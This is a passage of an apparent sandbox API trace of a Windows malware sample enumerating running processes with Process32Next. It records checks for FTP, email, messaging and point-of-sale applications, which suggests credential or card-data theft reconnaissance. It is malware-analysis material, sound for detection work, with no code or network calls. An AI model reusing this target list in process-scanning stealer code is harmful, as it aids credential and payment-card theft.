th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0240.636] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0240.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0240.638] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0240.640] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0240.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0240.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0240.693] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0240.694] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0240.696] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0240.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0240.698] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.700] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0240.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.755] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.757] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.760] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0240.761] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.762] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0240.764] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.765] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.767] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0240.769] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0240.771] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0240.772] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.774] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.776] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.778] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.779] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.787] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.790] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0240.797] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0240.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0240.851] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0240.854] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0240.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0240.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0240.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0240.861] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0240.863] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0240.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0240.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0240.868] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0240.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0240.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0240.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0240.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0240.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0240.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0240.879] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0240.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0240.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0240.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0240.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0240.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0240.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0240.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.891] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.942] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0240.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0240.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.947] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0240.949] CloseHandle (hObject=0x13b0) returned 1 [0240.949] Sleep (dwMilliseconds=0x64) [0240.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0241.003] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.005] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.006] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.007] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.009] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.011] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.013] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.014] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.015] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.018] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, 